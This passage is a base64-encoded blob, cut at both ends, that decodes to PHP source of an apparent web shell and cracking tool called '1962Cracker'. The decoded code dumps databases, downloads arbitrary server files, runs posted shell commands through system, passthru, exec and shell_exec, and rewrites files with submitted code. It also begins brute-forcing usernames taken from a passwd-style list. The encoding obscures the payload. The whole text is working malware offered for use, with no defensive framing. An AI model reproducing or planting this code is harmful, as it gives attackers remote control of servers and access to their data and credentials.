zc2FnZSddOyB9DQoJIGJyZWFrOyB9DQoJIHJldHVybiAwOyB9DQoJIGZ1bmN0aW9uIGdldF9yZXN1bHQoKSANCgkgew0KCSAkdGhpcy0+cm93cz1hcnJheSgpOyAkdGhpcy0+Y29sdW1ucz1hcnJheSgpOyAkdGhpcy0+bnVtX3Jvd3M9JHRoaXMtPm51bV9maWVsZHM9MDsgc3dpdGNoKCR0aGlzLT5kYikgDQoJIHsNCgkgY2FzZSAnTXlTUUwnOiAkdGhpcy0+bnVtX3Jvd3M9QG15c3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOyAkdGhpcy0+bnVtX2ZpZWxkcz1AbXlzcWxfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG15c3FsX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7IEBteXNxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsgaWYoJHRoaXMtPm51bV9yb3dzKQ0KCSB7DQoJJHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCgkgYnJlYWs7IGNhc2UgJ01TU1FMJzogJHRoaXMtPm51bV9yb3dzPUBtc3NxbF9udW1fcm93cygkdGhpcy0+cmVzKTsgJHRoaXMtPm51bV9maWVsZHM9QG1zc3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7IHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBtc3NxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOyBAbXNzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7IGlmKCR0aGlzLT5udW1fcm93cykNCgkgew0KCSR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQoJOyBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6ICR0aGlzLT5udW1fcm93cz1AcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7ICR0aGlzLT5udW1fZmllbGRzPUBwZ19udW1fZmllbGRzKCR0aGlzLT5yZXMpOyB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAcGdfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsgQHBnX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOyBpZigkdGhpcy0+bnVtX3Jvd3MpDQoJIHsNCgkkdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KCSBicmVhazsgY2FzZSAnT3JhY2xlJzogJHRoaXMtPm51bV9maWVsZHM9QG9jaW51bWNvbHMoJHRoaXMtPnJlcyk7IHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBvY2lfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKSAkdGhpcy0+bnVtX3Jvd3MrKzsgQG9jaWZyZWVzdGF0ZW1lbnQoJHRoaXMtPnJlcyk7IGlmKCR0aGlzLT5udW1fcm93cykNCgkgew0KCSR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQoJIGJyZWFrOyB9DQoJIHJldHVybiAwOyB9DQoJIGZ1bmN0aW9uIGR1bXAoJHRhYmxlKSANCgkgew0KCSBpZihlbXB0eSgkdGFibGUpKSByZXR1cm4gMDsgJHRoaXMtPmR1bXA9YXJyYXkoKTsgJHRoaXMtPmR1bXBbMF0gPSAnIyMnOyAkdGhpcy0+ZHVtcFsxXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsgJHRoaXMtPmR1bXBbMl0gPSAnIyMgIENyZWF0ZWQ6ICcuZGF0ZSAoImQvbS9ZIEg6aTpzIik7ICR0aGlzLT5kdW1wWzNdID0gJyMjIERhdGFiYXNlOiAnLiR0aGlzLT5iYXNlOyAkdGhpcy0+ZHVtcFs0XSA9ICcjIyAgICBUYWJsZTogJy4kdGFibGU7ICR0aGlzLT5kdW1wWzVdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOyBzd2l0Y2goJHRoaXMtPmRiKSANCgkgew0KCSBjYXNlICdNeVNRTCc6ICR0aGlzLT5kdW1wWzBdID0gJyMjIE15U1FMIGR1bXAnOyBpZigkdGhpcy0+cXVlcnkoJy8qJy5jaHIoMCkuJyovIFNIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOyAkdGhpcy0+ZHVtcFtdID0gJHRoaXMtPnJvd3NbMF1bJ0NyZWF0ZSBUYWJsZSddLiI7IjsgJHRoaXMtPmR1bXBbXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsgaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicqLyBTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOyBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykgDQoJIHsNCgkgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSANCgkgew0KCSR0aGlzLT5yb3dzWyRpXVska10gPSBAbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTt9DQoJICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgIChgJy5AaW1wbG9kZSgiYCwgYCIsICR0aGlzLT5jb2x1bW5zKS4nYCkgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsgfQ0KCSBicmVhazsgY2FzZSAnTVNTUUwnOiAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNU1NRTCBkdW1wJzsgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7IGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspIA0KCSB7DQoJIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgDQoJIHsNCgkkdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCgkgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLkBpbXBsb2RlKCIsICIsICR0aGlzLT5jb2x1bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOyB9DQoJIGJyZWFrOyBjYXNlICdQb3N0Z3JlU1FMJzogJHRoaXMtPmR1bXBbMF0gPSAnIyMgUG9zdGdyZVNRTCBkdW1wJzsgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7IGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsgZm9yKCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspIA0KCSB7DQoJIGZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgDQoJIHsNCgkkdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCgkgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLkBpbXBsb2RlKCIsICIsICR0aGlzLT5jb2x1bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOyB9DQoJIGJyZWFrOyBjYXNlICdPcmFjbGUnOiAkdGhpcy0+ZHVtcFswXSA9ICcjIyBPUkFDTEUgZHVtcCc7ICR0aGlzLT5kdW1wW10gPSAnIyMgdW5kZXIgY29uc3RydWN0aW9uJzsgYnJlYWs7IGRlZmF1bHQ6IHJldHVybiAwOyBicmVhazsgfQ0KCSByZXR1cm4gMTsgfQ0KCSBmdW5jdGlvbiBjbG9zZSgpIA0KCSB7DQoJIHN3aXRjaCgkdGhpcy0+ZGIpIA0KCSB7DQoJIGNhc2UgJ015U1FMJzogQG15c3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsgYnJlYWs7IGNhc2UgJ01TU1FMJzogQG1zc3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsgYnJlYWs7IGNhc2UgJ1Bvc3RncmVTUUwnOiBAcGdfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOyBicmVhazsgY2FzZSAnT3JhY2xlJzogQG9jaV9jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7IGJyZWFrOyB9DQoJIH0NCgkgZnVuY3Rpb24gYWZmZWN0ZWRfcm93cygpIA0KCSB7DQoJIHN3aXRjaCgkdGhpcy0+ZGIpIA0KCSB7DQoJIGNhc2UgJ015U1FMJzogcmV0dXJuIEBteXNxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOyBicmVhazsgY2FzZSAnTVNTUUwnOiByZXR1cm4gQG1zc3FsX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7IGJyZWFrOyBjYXNlICdQb3N0Z3JlU1FMJzogcmV0dXJuIEBwZ19hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOyBicmVhazsgY2FzZSAnT3JhY2xlJzogcmV0dXJuIEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKTsgYnJlYWs7IGRlZmF1bHQ6IHJldHVybiAwOyBicmVhazsgfQ0KCSB9DQoJIH0NCgkgaWYoIWVtcHR5KCRfUE9TVFsnY2NjYyddKSAmJiAkX1BPU1RbJ2NjY2MnXT09ImRvd25sb2FkX2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2RfbmFtZSddKSkgDQoJIHsNCgkgaWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2RfbmFtZSddLCJyIikpIA0KCSB7DQoJIGVycigxLCRfUE9TVFsnZF9uYW1lJ10pOyAkX1BPU1RbJ2NjY2MnXT0iIjsgfQ0KCSBlbHNlIA0KCSB7DQoJIEBvYl9jbGVhbigpOyAkZmlsZW5hbWUgPSBAYmFzZW5hbWUoJF9QT1NUWydkX25hbWUnXSk7ICRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydkX25hbWUnXSkpOyBmY2xvc2UoJGZpbGUpOyAkY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOyBjb21wcmVzcygkZmlsZW5hbWUsJGZpbGVkdW1wLCRfUE9TVFsnY29tcHJlc3MnXSk7IGlmICghZW1wdHkoJGNvbnRlbnRfZW5jb2RpbmcpKSANCgkgew0KCSBoZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6ICcgLiAkY29udGVudF9lbmNvZGluZyk7IH0NCgkgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJG1pbWVfdHlwZSk7IGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmaWxlbmFtZS4iXCI7Iik7IGVjaG8gJGZpbGVkdW1wOyBleGl0KCk7IH0NCgkgfQ0KCSBpZihpc3NldCgkX0dFVFsncGhwaW5mbyddKSkgDQoJIHsNCgkgZWNobyBAcGhwaW5mbygpOyBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsgfQ0KCSBpZiAoIWVtcHR5KCRfUE9TVFsnY2NjYyddKSAmJiAkX1BPU1RbJ2NjY2MnXT09ImRiX3F1ZXJ5IikgDQoJIHsNCgkgZWNobyAkaGVhZDsgJHNxbCA9IG5ldyBteV9zcWwoKTsgJHNxbC0+ZGIgPSAkX1BPU1RbJ2RiJ107ICRzcWwtPmhvc3QgPSAkX1BPU1RbJ2RiX3NlcnZlciddOyAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107ICRzcWwtPnVzZXIgPSAkX1BPU1RbJ215c3FsX2wnXTsgJHNxbC0+cGFzcyA9ICRfUE9TVFsnbXlzcWxfcCddOyAkc3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOyAkcXVlcnlzID0gQGV4cGxvZGUoJzsnLCRfUE9TVFsnZGJfcXVlcnknXSk7IGVjaG8gJzxib2R5IGJnY29sb3I9I2U0ZTBkOD4nOyBpZighJHNxbC0+Y29ubmVjdCgpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L2Rpdj4iOyBlbHNlIA0KCSB7DQoJIGlmKCFlbXB0eSgkc3FsLT5iYXNlKSYmISRzcWwtPnNlbGVjdF9kYigpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L2Rpdj4iOyBlbHNlIA0KCSB7DQoJIGZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpIA0KCSB7DQoJIGlmKHN0cmxlbigkcXVlcnkpPjUpIA0KCSB7DQoJIGVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPWdyZWVuPjxiPlF1ZXJ5IyIuJG51bS4iIDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvZm9udD48YnI+Ijsgc3dpdGNoKCRzcWwtPnF1ZXJ5KCRxdWVyeSkpIA0KCSB7DQoJIGNhc2UgJzAnOiBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPkVycm9yIDogPGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4iOyBicmVhazsgY2FzZSAnMSc6IGlmKCRzcWwtPmdldF9yZXN1bHQoKSkgDQoJIHsNCgkgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+IjsgZm9yZWFjaCgkc3FsLT5jb2x1bW5zIGFzICRrPT4kdikgJHNxbC0+Y29sdW1uc1ska10gPSBodG1sc3BlY2lhbGNoYXJzKCR2LEVOVF9RVU9URVMpOyAka2V5cyA9IEBpbXBsb2RlKCImbmJzcDs8L2I+PC9mb250PjwvdGQ+PHRkIGJnY29sb3I9IzgwMDAwMD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4mbmJzcDsiLCAkc3FsLT5jb2x1bW5zKTsgZWNobyAiPHRyPjx0ZCBiZ2NvbG9yPSM4MDAwMDA+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jm5ic3A7Ii4ka2V5cy4iJm5ic3A7PC9iPjwvZm9udD48L3RkPjwvdHI+IjsgZm9yKCRpPTA7JGk8JHNxbC0+bnVtX3Jvd3M7JGkrKykgDQoJIHsNCgkgZm9yZWFjaCgkc3FsLT5yb3dzWyRpXSBhcyAkaz0+JHYpICRzcWwtPnJvd3NbJGldWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYsRU5UX1FVT1RFUyk7ICR2YWx1ZXMgPSBAaW1wbG9kZSgiJm5ic3A7PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOyIsJHNxbC0+cm93c1skaV0pOyBlY2hvICc8dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiZuYnNwOycuJHZhbHVlcy4nJm5ic3A7PC9mb250PjwvdGQ+PC90cj4nOyB9DQoJIGVjaG8gIjwvdGFibGU+IjsgfQ0KCSBicmVhazsgY2FzZSAnMic6ICRhciA9ICRzcWwtPmFmZmVjdGVkX3Jvd3MoKT8oJHNxbC0+YWZmZWN0ZWRfcm93cygpKTooJzAnKTsgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj5hZmZlY3RlZCByb3dzIDogPGI+Ii4kYXIuIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+PGJyPiI7IGJyZWFrOyB9DQoJIH0NCgkgfQ0KCSB9DQoJIH0NCgkgZWNobyAiPGJyPjx0aXRsZT4xOTYyQ3JhY2tlciBCeSBBa3JhbSBTdGVsbGU8L3RpdGxlPjxmb3JtIG5hbWU9Zm9ybSBtZXRob2Q9UE9TVD4iOyANCgkgZWNobyBpbignaGlkZGVuJywnZGInLDAsJF9QT1NUWydkYiddKTsgZWNobyBpbignaGlkZGVuJywnZGJfc2VydmVyJywwLCRfUE9TVFsnZGJfc2VydmVyJ10pOyBlY2hvIGluKCdoaWRkZW4nLCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTsgZWNobyBpbignaGlkZGVuJywnbXlzcWxfbCcsMCwkX1BPU1RbJ215c3FsX2wnXSk7IGVjaG8gaW4oJ2hpZGRlbicsJ215c3FsX3AnLDAsJF9QT1NUWydteXNxbF9wJ10pOyBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9kYicsMCwkX1BPU1RbJ215c3FsX2RiJ10pOyBlY2hvIGluKCdoaWRkZW4nLCdjY2NjJywwLCdkYl9xdWVyeScpOyANCgkgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+IjsgZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+QmFzZTogPC9iPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1teXNxbF9kYiB2YWx1ZT1cIiIuJHNxbC0+YmFzZS4iXCI+PC9mb250Pjxicj4iOyBlY2hvICI8dGV4dGFyZWEgY29scz02NSByb3dzPTEwIG5hbWU9ZGJfcXVlcnk+Ii4oIWVtcHR5KCRfUE9TVFsnZGJfcXVlcnknXSk/KCRfUE9TVFsnZGJfcXVlcnknXSk6KCJTSE9XIERBVEFCQVNFUztcblNFTEVDVCAqIEZST00gdXNlcjsiKSkuIjwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiBSdW4gU1FMIHF1ZXJ5IFwiPjwvZGl2Pjxicj48YnI+IjsgZWNobyAiPC9mb3JtPiI7IGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOyB9DQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KCWZ1bmN0aW9uIGNjbW1kZCgkY2NtbWRkMiwkYXR0KQ0KCXsNCglnbG9iYWwgJGNjbW1kZDIsJGF0dDsNCgllY2hvICcNCgk8dGFibGUgc3R5bGU9IndpZHRoOiAxMDAlIiBjbGFzcz0ic3R5bGUxIiBkaXI9InJ0bCI+DQoJCTx0cj4NCgkJCTx0ZCBjbGFzcz0ic3R5bGU5Ij48c3Ryb25nPj8/P0g/L3N0cm9uZz48L3RkPg0KCQk8L3RyPg0KCQk8dHI+DQoJCQk8dGQgY2xhc3M9InN0eWxlMTMiPg0KCQkJCQk8Zm9ybSBtZXRob2Q9InBvc3QiPg0KCQkJCQkJPHNlbGVjdCBuYW1lPSJhdHQiIGRpcj0icnRsIiBzdHlsZT0iaGVpZ2h0OiAxMDlweCIgc2l6ZT0iNiI+DQoJJzsNCglpZigkX1BPU1RbJ2F0dCddPT1udWxsKQ0KCXsNCgllY2hvICcJCQkJCQk8b3B0aW9uIHZhbHVlPSJzeXN0ZW0iIHNlbGVjdGVkPSIiPnN5c3RlbTwvb3B0aW9uPic7DQoJfWVsc2V7DQoJZWNobyAiCQkJCQkJPG9wdGlvbiB2YWx1ZT0nJF9QT1NUW2F0dF0nIHNlbGVjdGVkPScnPiRfUE9TVFthdHRdPC9vcHRpb24+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT1zeXN0ZW0+c3lzdGVtPC9vcHRpb24+DQoJIjsNCg0KCQkJCQkJCQ0KCX0NCg0KCWVjaG8gJw0KCQkJCQkJCTxvcHRpb24gdmFsdWU9InBhc3N0aHJ1Ij5wYXNzdGhydTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9ImV4ZWMiPmV4ZWM8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSJzaGVsbF9leGVjIj5zaGVsbF9leGVjPC9vcHRpb24+CQ0KCQkJCQkJPC9zZWxlY3Q+DQoJCQkJCQkJPGlucHV0IG5hbWU9InBhZ2UiIHZhbHVlPSJjY21tZGQiIHR5cGU9ImhpZGRlbiI+PGJyPg0KCQkJCQkJCTxpbnB1dCBkaXI9Imx0ciIgbmFtZT0iY2NtbWRkMiIgc3R5bGU9IndpZHRoOiAxNzNweCIgdHlwZT0idGV4dCIgdmFsdWU9Iic7aWYoISRfUE9TVFsnY2NtbWRkMiddKXtlY2hvICdkaXInO31lbHNle2VjaG8gJF9QT1NUWydjY21tZGQyJ107fWVjaG8gJyI+PGJyPg0KCQkJCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSI/Pz8+DQoJCQkJCTwvZm9ybT4NCgkJCQ0KCQkJPC90ZD4NCgkJPC90cj4NCgkJPHRyPg0KCQkJPHRkIGNsYXNzPSJzdHlsZTEzIj4NCgknOw0KDQoJCQlpZigkX1BPU1RbYXR0XT09J3N5c3RlbScpDQoJCQl7DQoJZWNobyAnDQoJCQkJCQk8dGV4dGFyZWEgZGlyPSJsdHIiIG5hbWU9IlRleHRBcmVhMSIgc3R5bGU9IndpZHRoOiA3NDVweDsgaGVpZ2h0OiAyMDRweCI+JzsNCgkJCQkJCXN5c3RlbSgkX1BPU1RbJ2NjbW1kZDInXSk7DQoJZWNobyAnCQkJCQk8L3RleHRhcmVhPic7DQoNCg0KCQkJfQ0KDQoJCQlpZigkX1BPU1RbYXR0XT09J3Bhc3N0aHJ1JykNCgkJCXsNCgllY2hvICcNCgkJCQkJCTx0ZXh0YXJlYSBkaXI9Imx0ciIgbmFtZT0iVGV4dEFyZWExIiBzdHlsZT0id2lkdGg6IDc0NXB4OyBoZWlnaHQ6IDIwNHB4Ij4nOw0KCQkJCQkJcGFzc3RocnUoJF9QT1NUWydjY21tZGQyJ10pOw0KCWVjaG8gJwkJCQkJPC90ZXh0YXJlYT4nOw0KDQoNCgkJCX0NCg0KCQkJDQoNCg0KDQoJCQlpZigkX1BPU1RbYXR0XT09J2V4ZWMnKQ0KCQkJew0KDQoJZWNobyAnCQkJCQk8dGV4dGFyZWEgZGlyPSJsdHIiIG5hbWU9IlRleHRBcmVhMSIgc3R5bGU9IndpZHRoOiA3NDVweDsgaGVpZ2h0OiAyMDRweCI+JzsNCgkJCQkJCWV4ZWMoJF9QT1NUWydjY21tZGQyJ10sJHJlcyk7DQoJCQkJCWVjaG8gJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsgCQkJCQ0KCWVjaG8gJwkJCQkJPC90ZXh0YXJlYT4nOw0KDQoNCgkJCX0NCg0KDQoNCg0KDQoNCg0KCQkJaWYoJF9QT1NUW2F0dF09PSdzaGVsbF9leGVjJykNCgkJCXsNCg0KCWVjaG8gJwkJCQkJPHRleHRhcmVhIGRpcj0ibHRyIiBuYW1lPSJUZXh0QXJlYTEiIHN0eWxlPSJ3aWR0aDogNzQ1cHg7IGhlaWdodDogMjA0cHgiPic7DQoJCQkJCWVjaG8Jc2hlbGxfZXhlYygkX1BPU1RbJ2NjbW1kZDInXSk7DQoJZWNobyAnCQkJCQk8L3RleHRhcmVhPic7DQoNCg0KCQkJfQ0KCWVjaG8gJwkJDQoJCQk8L3RkPg0KCQk8L3RyPg0KCTwvdGFibGU+DQoJJzsNCg0KCWV4aXQ7DQoJfQ0KDQoJaWYoJF9QT1NUWydwYWdlJ109PSdlZGl0JykNCgl7DQoNCgkkY29kZT1Ac3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJF9QT1NUWydjb2RlJ10pOw0KCSRjb2RlPUBzdHJfcmVwbGFjZSgnXFwnLCcnLCRjb2RlKTsNCgkkZnAgPSBmb3BlbigkcGF0aGNsYXNzLCAndycpOw0KCWZ3cml0ZSgkZnAsIiRjb2RlIik7DQoJZmNsb3NlKCRmcCk7DQoJZWNobyAiPGNlbnRlcj48Yj5PSyBFZGl0PGJyPjxicj48YnI+PGJyPjxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IjsNCglleGl0Ow0KCX0JDQoNCg0KDQoNCg0KDQoNCgkJaWYoJF9QT1NUWydwYWdlJ109PSdzaG93JykNCgkJew0KCQkkcGF0aGNsYXNzID0kX1BPU1RbJ3BhdGhjbGFzcyddOw0KCWVjaG8gJw0KCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFnZSIgdmFsdWU9ImVkaXQiPg0KCSc7DQoJCQ0KCQkkc2FoYWNrZXIgPSBmb3BlbigkcGF0aGNsYXNzLCAicmIiKTsNCgllY2hvICc8Y2VudGVyPicuJHBhdGhjbGFzcy4nPGJyPjx0ZXh0YXJlYSBkaXI9Imx0ciIgbmFtZT0iY29kZSIgc3R5bGU9IndpZHRoOiA4NDVweDsgaGVpZ2h0OiA0MDRweCI+JzsJDQoJJGNvZGUgPSBmcmVhZCgkc2FoYWNrZXIsIGZpbGVzaXplKCRwYXRoY2xhc3MpKTsNCgllY2hvICRjb2RlID1odG1sc3BlY2lhbGNoYXJzKCRjb2RlKTsNCgllY2hvICc8L3RleHRhcmVhPic7CQ0KCQlmY2xvc2UoJHNhaGFja2VyKTsNCgllY2hvICcNCgk8YnI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhdGhjbGFzcyIgdmFsdWU9IicuJHBhdGhjbGFzcy4nIiBzdHlsZT0id2lkdGg6IDQ0NXB4OyI+DQoJPGJyPjxzdHJvbmc+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9ImVkaXQgZmlsZSI+DQoJPC9mb3JtPg0KCSc7DQoJCQlleGl0Ow0KCQl9DQoNCg0KDQoNCgkJaWYoJF9QT1NUWydwYWdlJ109PSdjY21tZGQnKQ0KCQl7DQoJCWVjaG8gY2NtbWRkKCRjY21tZGQyLCRhdHQpOw0KCQlleGl0Ow0KCQl9DQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoJaWYoJF9QT1NUWydwYWdlJ109PSdmaW5kJykNCgl7DQoJaWYoaXNzZXQoJF9QT1NUWyd1c2VybmFtZXMnXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzd29yZHMnXSkpDQoJew0KCQkJaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ3Bhc3N3ZCcpew0KCQkJCQkkZSA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbJ3VzZXJuYW1lcyddKTsNCgkJCQkJZm9yZWFjaCgkZSBhcyAkdmFsdWUpew0KCQkJCQkkayA9IGV4cGxvZGUoIjoiLCR2YWx1ZSk7DQoJCQkJCSR1c2VybmFtZSAuPSAka1snMCddLiIgIjsNCgkJCQkJfQ0KCQkJfWVsc2VpZigkX1BPU1RbJ3R5cGUnXSA9PSAnc2ltcGxlJyl7DQoJCQkJCSR1c2VybmFtZSA9IHN0cl9yZXBsYWNlKCJcbiIsJyAnLCRfUE9TVFsndXNlcm5hbWVzJ10pOw0KCQkJfQ0KCQkJJGExID0gZXhwbG9kZSgiICIsJHVzZXJuYW1lKTsNCgkJCSRhMiA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbJ3Bhc3N3b3JkcyddKTsNCgkJCSRpZDIgPSBjb3VudCgkYTIpOw0KCQkJJG9rID0gMDsNCgkJCWZvcmVhY2goJGExIGFzICR1c2VyICkNCgkJCXsNCgkJCQkJaWYoJHVzZXIgIT09ICcnKQ0KCQkJCQl7DQoJCQkJCSR1c2VyPXRyaW0oJHVzZXIpOw0KCQkJCQkgZm9yKCRpPTA7JGk8PSRpZDI7JGkrKykNCgkJCQkJIHsNCgkJCQkJCQkkcGFzcyA